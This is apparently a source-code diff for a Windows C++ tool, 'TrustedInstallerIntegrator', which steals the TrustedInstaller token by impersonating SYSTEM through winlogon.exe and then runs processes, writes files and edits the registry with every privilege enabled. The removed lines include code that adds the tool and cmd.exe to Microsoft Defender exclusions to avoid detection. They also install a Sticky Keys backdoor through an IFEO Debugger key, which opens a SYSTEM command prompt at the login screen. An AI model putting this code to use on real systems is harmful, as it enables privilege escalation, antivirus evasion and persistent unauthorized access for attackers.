Optional path to a file to exclude. If empty, uses the current executable's path. - * @return true on success, false on failure. - */ -bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& customPath) -{ - wchar_t currentPath[MAX_PATH]; - - if (customPath.empty()) { - if (GetModuleFileNameW(NULL, currentPath, MAX_PATH) == 0) { - ERROR(L"Failed to get current module path"); - return false; - } - } else { - if (customPath.length() >= MAX_PATH) { - ERROR(L"File path too long"); - return false; - } - wcscpy_s(currentPath, MAX_PATH, customPath.c_str()); - } - - fs::path filePath(currentPath); - bool isExecutable = (filePath.extension().wstring() == L".exe"); - bool isSelfProtection = customPath.empty(); - - // For self-protection, add both path and process exclusions for robustness. - if (isSelfProtection && isExecutable) { - bool pathSuccess = AddPathExclusion(currentPath); - bool processSuccess = AddProcessToDefenderExclusions(filePath.filename().wstring()); - - if (pathSuccess && processSuccess) { - SUCCESS(L"Self-protection: added to both path and process exclusions"); - return true; - } else if (pathSuccess) { - SUCCESS(L"Self-protection: added to path exclusions (process exclusion failed)"); - return true; - } - return false; - } - - // For other files, use process exclusion for executables and path for everything else. - if (isExecutable) { - return AddProcessToDefenderExclusions(filePath.filename().wstring()); - } else { - return AddPathExclusion(currentPath); - } -} - -/** - * @brief A comprehensive exclusion removal method. - * If no path is provided, it removes exclusions for the current executable. - * @param customPath Optional path to a file to remove from exclusions. If empty, uses the current executable's path. - * @return true on success, false on failure. - */ -bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring& customPath) -{ - wchar_t currentPath[MAX_PATH]; - - if (customPath.empty()) { - if (GetModuleFileNameW(NULL, currentPath, MAX_PATH) == 0) { - ERROR(L"Failed to get current module path"); - return false; - } - } else { - if (customPath.length() >= MAX_PATH) { - ERROR(L"File path too long"); - return false; - } - wcscpy_s(currentPath, MAX_PATH, customPath.c_str()); - } - - fs::path filePath(currentPath); - bool isExecutable = (filePath.extension().wstring() == L".exe"); - - if (isExecutable) { - return RemoveProcessFromDefenderExclusions(filePath.filename().wstring()); - } else { - return RemoveDefenderExclusion(ExclusionType::Paths, currentPath); - } -} - - -/*************************************************************************************************/ -/* PUBLIC API: CONTEXT MENU INTEGRATION */ -/*************************************************************************************************/ - -/** - * @brief Adds a "Run as TrustedInstaller" entry to the context menu for .exe and .lnk files. - * @return true if registry keys were created successfully, false otherwise. - */ -bool TrustedInstallerIntegrator::AddContextMenuEntries() -{ - wchar_t currentPath[MAX_PATH]; - GetModuleFileNameW(NULL, currentPath, MAX_PATH); - - // Command format: "C:\path\to\this.exe" trusted "%1" - std::wstring command = L"\""; - command += currentPath; - command += L"\" trusted \"%1\""; - - std::wstring iconPath = L"shell32.dll,77"; // Standard shield icon - - HKEY hKey; - DWORD dwDisposition; - - // Add context menu for .exe files - if (RegCreateKeyExW(HKEY_CLASSES_ROOT, L"exefile\\shell\\RunAsTrustedInstaller", 0, NULL, REG_OPTION_NON_VOLATILE, - KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) - { - std::wstring menuText = L"Run as TrustedInstaller"; - RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)menuText.c_str(), - (DWORD)(menuText.length() + 1) * sizeof(wchar_t)); - RegSetValueExW(hKey, L"Icon", 0, REG_SZ, (const BYTE*)iconPath.c_str(), - (DWORD)(iconPath.length() + 1) * sizeof(wchar_t)); - RegSetValueExW(hKey, L"HasLUAShield", 0, REG_SZ, (const BYTE*)L"", sizeof(wchar_t)); - RegCloseKey(hKey); - } - - std::wstring exeCommandPath = L"exefile\\shell\\RunAsTrustedInstaller\\command"; - if (RegCreateKeyExW(HKEY_CLASSES_ROOT, exeCommandPath.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, - KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) - { - RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)command.c_str(), - (DWORD)(command.length() + 1) * sizeof(wchar_t)); - RegCloseKey(hKey); - } - - // Add context menu for .lnk files (shortcuts) - if (RegCreateKeyExW(HKEY_CLASSES_ROOT, L"lnkfile\\shell\\RunAsTrustedInstaller", 0, NULL, REG_OPTION_NON_VOLATILE, - KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) - { - std::wstring menuText = L"Run as TrustedInstaller"; - RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)menuText.c_str(), - (DWORD)(menuText.length() + 1) * sizeof(wchar_t)); - RegSetValueExW(hKey, L"Icon", 0, REG_SZ, (const BYTE*)iconPath.c_str(), - (DWORD)(iconPath.length() + 1) * sizeof(wchar_t)); - RegSetValueExW(hKey, L"HasLUASShield", 0, REG_SZ, (const BYTE*)L"", sizeof(wchar_t)); - RegCloseKey(hKey); - } - - std::wstring lnkCommandPath = L"lnkfile\\shell\\RunAsTrustedInstaller\\command"; - if (RegCreateKeyExW(HKEY_CLASSES_ROOT, lnkCommandPath.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, - KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) - { - RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)command.c_str(), - (DWORD)(command.length() + 1) * sizeof(wchar_t)); - RegCloseKey(hKey); - } - - SUCCESS(L"Successfully added context menu entries for .exe and .lnk files"); - return true; -} - -/*************************************************************************************************/ -/* PUBLIC API: STICKY KEYS BACKDOOR (SENSITIVE) */ -/*************************************************************************************************/ - -/** - * @brief FLAG: SENSITIVE FUNCTIONALITY. - * Installs a "Sticky Keys" backdoor using the Image File Execution Options (IFEO) registry key. - * This makes pressing the Shift key 5 times on the login screen open a SYSTEM command prompt. - * It also attempts to add cmd.exe to Defender exclusions to prevent detection. - * @return true on success, false on failure. - */ -bool TrustedInstallerIntegrator::InstallStickyKeysBackdoor() noexcept -{ - INFO(L"Installing sticky keys backdoor with Defender bypass..."); - - // Add cmd.exe to Defender exclusions to prevent behavioral detection. - if (!AddProcessToDefenderExclusions(L"cmd.exe")) { - INFO(L"AV exclusion skipped for cmd.exe (continuing)"); - } - - // Create the IFEO registry key for sethc.exe. - HKEY hKey; - std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"; - LONG result = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, NULL, - REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL); - - if (result != ERROR_SUCCESS) { - ERROR(L"Failed to create IFEO registry key: %d", result); - RemoveProcessFromDefenderExclusions(L"cmd.exe"); // Attempt cleanup on failure. - return false; - } - - // Set the "Debugger" value to point to cmd.exe. - std::wstring debuggerValue = L"cmd.exe"; - result = RegSetValueExW(hKey, L"Debugger", 0, REG_SZ, - reinterpret_cast(debuggerValue.c_str()), - static_cast((debuggerValue.length() + 1) * sizeof(wchar_t))); - - RegCloseKey(hKey); - - if (result != ERROR_SUCCESS) { - ERROR(L"Failed to set Debugger registry value: %d", result); - RemoveProcessFromDefenderExclusions(L"cmd.exe"); // Attempt cleanup on failure. - return false; - } - - SUCCESS(L"Sticky keys backdoor installed successfully"); - SUCCESS(L"Press 5x Shift on login screen to get SYSTEM cmd.exe"); - return true; -} - -/** - * @brief FLAG: SENSITIVE FUNCTIONALITY. - * Removes the "Sticky Keys" backdoor by deleting the IFEO registry key and the Defender exclusion. - * @return true if removal was successful, false if errors occurred. - */ -bool TrustedInstallerIntegrator::RemoveStickyKeysBackdoor() noexcept -{ - INFO(L"Removing sticky keys backdoor..."); - - bool success = true; - - // Remove the IFEO registry key. - std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"; - LONG result = RegDeleteKeyW(HKEY_LOCAL_MACHINE, keyPath.c_str()); - - if (result != ERROR_SUCCESS && result != ERROR_FILE_NOT_FOUND) { - ERROR(L"Failed to remove IFEO registry key: %d", result); - success = false; - } else if (result == ERROR_SUCCESS) { - SUCCESS(L"IFEO registry key removed"); - } - - // Remove cmd.exe from Defender exclusions. - if (!RemoveProcessFromDefenderExclusions(L"cmd.exe")) { - INFO(L"AV cleanup skipped for cmd.exe"); - } - - if (success) { - SUCCESS(L"Sticky keys backdoor removed successfully"); - } else { - INFO(L"Sticky keys backdoor removal completed with some errors"); - } - - return success; -} - -/*************************************************************************************************/ -/* PRIVATE: TOKEN & PROCESS IMPLEMENTATION */ -/*************************************************************************************************/ - -/** - * @brief Retrieves a cached TrustedInstaller token or acquires a new one. - * The process involves enabling debug privileges, impersonating SYSTEM, finding the - * TrustedInstaller service, and duplicating its process token. - * @return A handle to a duplicated TrustedInstaller token, or nullptr on failure. - */ -HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() { - DWORD currentTime = GetTickCount(); - - // Return cached token if it's still within the timeout period. - if (g_cachedTrustedInstallerToken && (currentTime - g_lastTokenAccessTime) < TOKEN_CACHE_TIMEOUT) { - return g_cachedTrustedInstallerToken; - } - - if (g_cachedTrustedInstallerToken) { - CloseHandle(g_cachedTrustedInstallerToken); - g_cachedTrustedInstallerToken = nullptr; - } - - // Enable privileges required to interact with system processes. - if (!EnablePrivilegeInternal(L"SeDebugPrivilege") || !EnablePrivilegeInternal(L"SeImpersonatePrivilege")) { - ERROR(L"Failed to enable required privileges (SeDebug/SeImpersonate)"); - return nullptr; - } - - if (!ImpersonateSystem()) { - ERROR(L"Failed to impersonate SYSTEM"); - return nullptr; - } - - DWORD trustedInstallerPid = StartTrustedInstallerService(); - if (!trustedInstallerPid) { - ERROR(L"Failed to start TrustedInstaller service"); - RevertToSelf(); - return nullptr; - } - - HANDLE hTrustedInstallerProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, trustedInstallerPid); - if (!hTrustedInstallerProcess) { - ERROR(L"Failed to open TrustedInstaller process (error: %d)", GetLastError()); - RevertToSelf(); - return nullptr; - } - - HANDLE hTrustedInstallerToken; - if (!OpenProcessToken(hTrustedInstallerProcess, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hTrustedInstallerToken)) { - ERROR(L"Failed to open TrustedInstaller token (error: %d)", GetLastError()); - CloseHandle(hTrustedInstallerProcess); - RevertToSelf(); - return nullptr; - } - - // Duplicate the token to use it for creating a new process. - HANDLE hDuplicatedToken; - if (!DuplicateTokenEx(hTrustedInstallerToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, - TokenImpersonation, &hDuplicatedToken)) { - ERROR(L"Failed to duplicate TrustedInstaller token (error: %d)", GetLastError()); - CloseHandle(hTrustedInstallerToken); - CloseHandle(hTrustedInstallerProcess); - RevertToSelf(); - return nullptr; - } - - CloseHandle(hTrustedInstallerToken); - CloseHandle(hTrustedInstallerProcess); - RevertToSelf(); - - // Elevate all possible privileges on the new token for maximum power. - for (int i = 0; i < PRIVILEGE_COUNT; i++) { - TOKEN_PRIVILEGES tp; - LUID luid; - if (LookupPrivilegeValueW(NULL, ALL_PRIVILEGES[i], &luid)) { - tp.PrivilegeCount = 1; - tp.Privileges[0].Luid = luid; - tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - AdjustTokenPrivileges(hDuplicatedToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); - } - } - - // Cache the token. - g_cachedTrustedInstallerToken = hDuplicatedToken; - g_lastTokenAccessTime = currentTime; - - SUCCESS(L"TrustedInstaller token cached successfully"); - return g_cachedTrustedInstallerToken; -} - -/** - * @brief Creates a new process using the TrustedInstaller token. - * @param pid The PID of the TrustedInstaller service (used for context, though token is key). - * @param commandLine The command to execute. - * @return TRUE on success, FALSE on failure. - */ -BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine) -{ - HANDLE hToken = GetCachedTrustedInstallerToken(); - if (!hToken) return FALSE; - - wchar_t* mutableCmd = _wcsdup(commandLine); - if (!mutableCmd) return FALSE; - - STARTUPINFOW si = { sizeof(si) }; - PROCESS_INFORMATION pi; - - BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, 0, NULL, NULL, &si, &pi); - - if (result) - { - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - } - - free(mutableCmd); - return result; -} - -/** - * @brief Creates a new process silently (no window) using the TrustedInstaller token. - * Waits for the process to finish and checks its exit code. - * @param pid The PID of the TrustedInstaller service. - * @param commandLine The command to execute. - * @return TRUE if the process ran and returned exit code 0, FALSE otherwise. - */ -BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine) -{ - HANDLE hToken = GetCachedTrustedInstallerToken(); - if (!hToken) return FALSE; - - wchar_t* mutableCmd = _wcsdup(commandLine); - if (!mutableCmd) return FALSE; - - STARTUPINFOW si = { sizeof(si) }; - si.dwFlags = STARTF_USESHOWWINDOW; - si.wShowWindow = SW_HIDE; // Hide the window. - - PROCESS_INFORMATION pi; - BOOL result = CreateProcessWithTokenW( - hToken, 0, NULL, mutableCmd, - CREATE_NO_WINDOW, // Creation flags for silent execution. - NULL, NULL, &si, &pi - ); - - if (result) - { - // Wait up to 3 seconds for the process to complete. - DWORD waitResult = WaitForSingleObject(pi.hProcess, 3000); - - if (waitResult == WAIT_OBJECT_0) { - DWORD exitCode; - GetExitCodeProcess(pi.hProcess, &exitCode); - result = (exitCode == 0); // Success is defined by a 0 exit code. - } else { - if (waitResult == WAIT_TIMEOUT) TerminateProcess(pi.hProcess, 1); - result = FALSE; // Failure on timeout or other errors. - } - - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - } - - free(mutableCmd); - return result; -} - - -/*************************************************************************************************/ -/* PRIVATE: HELPER FUNCTIONS */ -/*************************************************************************************************/ - -/** - * @brief Checks if a file path has a .lnk extension. - */ -BOOL TrustedInstallerIntegrator::IsLnkFile(LPCWSTR filePath) -{ - if (!filePath || wcslen(filePath) < 4) return FALSE; - fs::path path(filePath); - return _wcsicmp(path.extension().wstring().c_str(), L".lnk") == 0; -} - -/** - * @brief Resolves a .lnk shortcut file to its target path and arguments. - */ -std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath) -{ - std::wstring result; - IShellLinkW* psl = nullptr; - IPersistFile* ppf = nullptr; - - if (GetFileAttributesW(lnkPath) == INVALID_FILE_ATTRIBUTES) return result; - - HRESULT hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl); - if (FAILED(hres)) return result; - - hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf); - if (FAILED(hres)) { - psl->Release(); - return result; - } - - hres = ppf->Load(lnkPath, STGM_READ); - if (FAILED(hres)) { - ppf->Release(); - psl->Release(); - return result; - } - - wchar_t targetPath[MAX_PATH * 2] = {0}; - hres = psl->GetPath(targetPath, MAX_PATH * 2, NULL, SLGP_RAWPATH); - if (SUCCEEDED(hres) && wcslen(targetPath) > 0) - { - result = targetPath; - wchar_t args[MAX_PATH * 2] = {0}; - hres = psl->GetArguments(args, MAX_PATH * 2); - if (SUCCEEDED(hres) && wcslen(args) > 0) - { - result += L" "; - result += args; - } - } - - ppf->Release(); - psl->Release(); - return result; -} - -/** - * @brief Enables a specific privilege for the current process token. - */ BOOL TrustedInstallerIntegrator::EnablePrivilegeInternal(LPCWSTR privilegeName) { HANDLE hToken; - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) + return FALSE; LUID luid; if (!LookupPrivilegeValueW(NULL, privilegeName, &luid)) { @@ -770,13 +84,8 @@ BOOL TrustedInstallerIntegrator::EnablePrivilegeInternal(LPCWSTR privilegeName) return result && (GetLastError() == ERROR_SUCCESS); } -/** - * @brief Impersonates the SYSTEM user by borrowing the token from the winlogon.exe process. - * This is a critical step for gaining the necessary rights to interact with the TrustedInstaller service. - */ BOOL TrustedInstallerIntegrator::ImpersonateSystem() { - // Enable debug privilege to open system-level processes. EnablePrivilegeInternal(L"SeDebugPrivilege"); DWORD systemPid = GetProcessIdByName(L"winlogon.exe"); @@ -806,9 +115,6 @@ BOOL TrustedInstallerIntegrator::ImpersonateSystem() return result; } -/** - * @brief Ensures the TrustedInstaller service is running and returns its Process ID (PID). - */ DWORD TrustedInstallerIntegrator::StartTrustedInstallerService() { SC_HANDLE hSCManager = OpenSCManagerW(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT); @@ -822,7 +128,7 @@ DWORD TrustedInstallerIntegrator::StartTrustedInstallerService() SERVICE_STATUS_PROCESS statusBuffer; DWORD bytesNeeded; - const DWORD timeout = 30000; // 30-second timeout. + const DWORD timeout = 30000; DWORD startTime = GetTickCount(); while (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) @@ -835,12 +141,12 @@ DWORD TrustedInstallerIntegrator::StartTrustedInstallerService() if (statusBuffer.dwCurrentState == SERVICE_STOPPED) { if (!StartServiceW(hService, 0, NULL)) { - break; // Exit loop on start failure. + break; } } if (GetTickCount() - startTime > timeout) { - break; // Exit loop on timeout. + break; } DWORD waitHint = statusBuffer.dwWaitHint > 0 ? statusBuffer.dwWaitHint : 100; @@ -849,12 +155,948 @@ DWORD TrustedInstallerIntegrator::StartTrustedInstallerService() CloseServiceHandle(hService); CloseServiceHandle(hSCManager); - return 0; // Return 0 on failure or timeout. + return 0; } -/** - * @brief Finds the Process ID (PID) of a process by its executable name. - */ +HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() +{ + DWORD currentTime = GetTickCount(); + + if (g_cachedTrustedInstallerToken && (currentTime - g_lastTokenAccessTime) < TOKEN_CACHE_TIMEOUT) { + return g_cachedTrustedInstallerToken; + } + + if (g_cachedTrustedInstallerToken) { + CloseHandle(g_cachedTrustedInstallerToken); + g_cachedTrustedInstallerToken = nullptr; + } + + if (!EnablePrivilegeInternal(L"SeDebugPrivilege") || !EnablePrivilegeInternal(L"SeImpersonatePrivilege")) { + ERROR(L"Failed to enable required privileges"); + return nullptr; + } + + if (!ImpersonateSystem()) { + ERROR(L"Failed to impersonate SYSTEM"); + return nullptr; + } + + DWORD trustedInstallerPid = StartTrustedInstallerService(); + if (!trustedInstallerPid) { + ERROR(L"Failed to start TrustedInstaller service"); + RevertToSelf(); + return nullptr; + } + + HANDLE hTrustedInstallerProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, trustedInstallerPid); + if (!hTrustedInstallerProcess) { + ERROR(L"Failed to open TrustedInstaller process"); + RevertToSelf(); + return nullptr; + } + + HANDLE hTrustedInstallerToken; + if (!OpenProcessToken(hTrustedInstallerProcess, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hTrustedInstallerToken)) { + ERROR(L"Failed to open TrustedInstaller token"); + CloseHandle(hTrustedInstallerProcess); + RevertToSelf(); + return nullptr; + } + + HANDLE hDuplicatedToken; + if (!DuplicateTokenEx(hTrustedInstallerToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, + TokenImpersonation, &hDuplicatedToken)) { + ERROR(L"Failed to duplicate TrustedInstaller token"); + CloseHandle(hTrustedInstallerToken); + CloseHandle(hTrustedInstallerProcess); + RevertToSelf(); + return nullptr; + } + + CloseHandle(hTrustedInstallerToken); + CloseHandle(hTrustedInstallerProcess); + RevertToSelf(); + + for (int i = 0; i < PRIVILEGE_COUNT; i++) { + TOKEN_PRIVILEGES tp; + LUID luid; + if (LookupPrivilegeValueW(NULL, ALL_PRIVILEGES[i], &luid)) { + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + AdjustTokenPrivileges(hDuplicatedToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); + } + } + + g_cachedTrustedInstallerToken = hDuplicatedToken; + g_lastTokenAccessTime = currentTime; + + SUCCESS(L"TrustedInstaller token cached successfully"); + return g_cachedTrustedInstallerToken; +} + +// ============================================================================ +// PROCESS EXECUTION +// ============================================================================ + +BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine) +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) return FALSE; + + wchar_t* mutableCmd = _wcsdup(commandLine); + if (!mutableCmd) return FALSE; + + STARTUPINFOW si = { sizeof(si) }; + PROCESS_INFORMATION pi; + + BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, 0, NULL, NULL, &si, &pi); + + if (result) { + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + + free(mutableCmd); + return result; +} + +BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine) +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) return FALSE; + + wchar_t* mutableCmd = _wcsdup(commandLine); + if (!mutableCmd) return FALSE; + + STARTUPINFOW si = { sizeof(si) }; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + + PROCESS_INFORMATION pi; + BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); + + if (result) { + DWORD waitResult = WaitForSingleObject(pi.hProcess, 3000); + + if (waitResult == WAIT_OBJECT_0) { + DWORD exitCode; + GetExitCodeProcess(pi.hProcess, &exitCode); + result = (exitCode == 0); + } else { + result = FALSE; + } + + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + + free(mutableCmd); + return result; +} + +bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& commandLine) +{ + std::wstring finalCommandLine = commandLine; + + if (IsLnkFile(commandLine.c_str())) { + finalCommandLine = ResolveLnk(commandLine.c_str()); + if (finalCommandLine.empty()) { + return false; + } + } + + if (!ImpersonateSystem()) { + return false; + } + + DWORD trustedInstallerPid = StartTrustedInstallerService(); + if (trustedInstallerPid == 0) { + RevertToSelf(); + return false; + } + + BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine.c_str()); + + RevertToSelf(); + return result != FALSE; +} + +bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring& commandLine) +{ + std::wstring finalCommandLine = commandLine; + + if (IsLnkFile(commandLine.c_str())) { + finalCommandLine = ResolveLnk(commandLine.c_str()); + if (finalCommandLine.empty()) { + return false; + } + } + + if (!ImpersonateSystem()) { + return false; + } + + DWORD trustedInstallerPid = StartTrustedInstallerService(); + if (trustedInstallerPid == 0) { + RevertToSelf(); + return false; + } + + BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine.c_str()); + + RevertToSelf(); + return result != FALSE; +} + +// ============================================================================ +// FILE OPERATIONS (NEW) +// ============================================================================ + +bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring& filePath, + const std::vector& data) noexcept +{ + if (data.empty()) { + ERROR(L"Cannot write empty data"); + return false; + } + + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) { + ERROR(L"Failed to get TrustedInstaller token"); + return false; + } + + if (!ImpersonateLoggedOnUser(hToken)) { + ERROR(L"Failed to impersonate TrustedInstaller"); + return false; + } + + HANDLE hFile = CreateFileW( + filePath.c_str(), + GENERIC_WRITE, + 0, + NULL, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + + if (hFile == INVALID_HANDLE_VALUE) { + DWORD error = GetLastError(); + ERROR(L"Failed to create file: %s (error: %d)", filePath.c_str(), error); + RevertToSelf(); + return false; + } + + DWORD totalWritten = 0; + const DWORD chunkSize = 64 * 1024; + + while (totalWritten < data.size()) { + DWORD bytesToWrite = (std::min)(chunkSize, static_cast(data.size() - totalWritten)); + DWORD bytesWritten = 0; + + if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, nullptr)) { + ERROR(L"WriteFile failed at offset %d", totalWritten); + CloseHandle(hFile); + RevertToSelf(); + return false; + } + + if (bytesWritten != bytesToWrite) { + ERROR(L"Incomplete write: %d/%d bytes", bytesWritten, bytesToWrite); + CloseHandle(hFile); + RevertToSelf(); + return false; + } + + totalWritten += bytesWritten; + } + + CloseHandle(hFile); + RevertToSelf(); + + SUCCESS(L"File written successfully: %s (%zu bytes)", filePath.c_str(), data.size()); + return true; +} + +bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) { + ERROR(L"Failed to get TrustedInstaller token"); + return false; + } + + if (!ImpersonateLoggedOnUser(hToken)) { + ERROR(L"Failed to impersonate TrustedInstaller"); + return false; + } + + DWORD attrs = GetFileAttributesW(filePath.c_str()); + if (attrs != INVALID_FILE_ATTRIBUTES) { + SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL); + } + + BOOL result = DeleteFileW(filePath.c_str()); + DWORD error = result ? 0 : GetLastError(); + + RevertToSelf(); + + if (result) { + SUCCESS(L"File deleted: %s", filePath.c_str()); + } else { + ERROR(L"Failed to delete file: %s (error: %d)", filePath.c_str(), error); + } + + return result != FALSE; +} + +// ============================================================================ +// REGISTRY OPERATIONS (NEW) +// ============================================================================ + +bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey, + const std::wstring& subKey) noexcept +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) { + ERROR(L"Failed to get TrustedInstaller token"); + return false; + } + + if (!ImpersonateLoggedOnUser(hToken)) { + ERROR(L"Failed to impersonate TrustedInstaller"); + return false; + } + + HKEY hKey; + DWORD dwDisposition; + LONG result = RegCreateKeyExW( + hRootKey, + subKey.c_str(), + 0, + NULL, + REG_OPTION_NON_VOLATILE, + KEY_ALL_ACCESS, + NULL, + &hKey, + &dwDisposition + ); + + if (result == ERROR_SUCCESS) { + RegCloseKey(hKey); + SUCCESS(L"Registry key created: %s", subKey.c_str()); + } else { + ERROR(L"Failed to create registry key: %s (error: %d)", subKey.c_str(), result); + } + + RevertToSelf(); + return (result == ERROR_SUCCESS); +} + +bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRootKey, + const std::wstring& subKey, + const std::wstring& valueName, + const std::wstring& value) noexcept +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) { + ERROR(L"Failed to get TrustedInstaller token"); + return false; + } + + if (!ImpersonateLoggedOnUser(hToken)) { + ERROR(L"Failed to impersonate TrustedInstaller"); + return false; + } + + HKEY hKey; + LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey); + + if (openResult != ERROR_SUCCESS) { + ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult); + RevertToSelf(); + return false; + } + + LONG result = RegSetValueExW( + hKey, + valueName.c_str(), + 0, + REG_EXPAND_SZ, + (const BYTE*)value.c_str(), + (DWORD)(value.length() + 1) * sizeof(wchar_t) + ); + + RegCloseKey(hKey); + RevertToSelf(); + + if (result == ERROR_SUCCESS) { + SUCCESS(L"Registry value written: %s\\%s", subKey.c_str(), valueName.c_str()); + } else { + ERROR(L"Failed to write registry value (error: %d)", result); + } + + return (result == ERROR_SUCCESS); +} + +bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey, + const std::wstring& subKey, + const std::wstring& valueName, + DWORD value) noexcept +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) { + ERROR(L"Failed to get TrustedInstaller token"); + return false; + } + + if (!ImpersonateLoggedOnUser(hToken)) { + ERROR(L"Failed to impersonate TrustedInstaller"); + return false; + } + + HKEY hKey; + LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey); + + if (openResult != ERROR_SUCCESS) { + ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult); + RevertToSelf(); + return false; + } + + LONG result = RegSetValueExW( + hKey, + valueName.c_str(), + 0, + REG_DWORD, + (const BYTE*)&value, + sizeof(DWORD) + ); + + RegCloseKey(hKey); + RevertToSelf(); + + if (result == ERROR_SUCCESS) { + SUCCESS(L"Registry DWORD written: %s\\%s = 0x%08X", subKey.c_str(), valueName.c_str(), value); + } else { + ERROR(L"Failed to write registry DWORD (error: %d)", result); + } + + return (result == ERROR_SUCCESS); +} + +bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey, + const std::wstring& subKey, + const std::wstring& valueName, + const std::vector& data) noexcept +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) { + ERROR(L"Failed to get TrustedInstaller token"); + return false; + } + + if (!ImpersonateLoggedOnUser(hToken)) { + ERROR(L"Failed to impersonate TrustedInstaller"); + return false; + } + + HKEY hKey; + LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey); + + if (openResult != ERROR_SUCCESS) { + ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult); + RevertToSelf(); + return false; + } + + LONG result = RegSetValueExW( + hKey, + valueName.c_str(), + 0, + REG_BINARY, + data.data(), + (DWORD)data.size() + ); + + RegCloseKey(hKey); + RevertToSelf(); + + if (result == ERROR_SUCCESS) { + SUCCESS(L"Registry binary written: %s\\%s 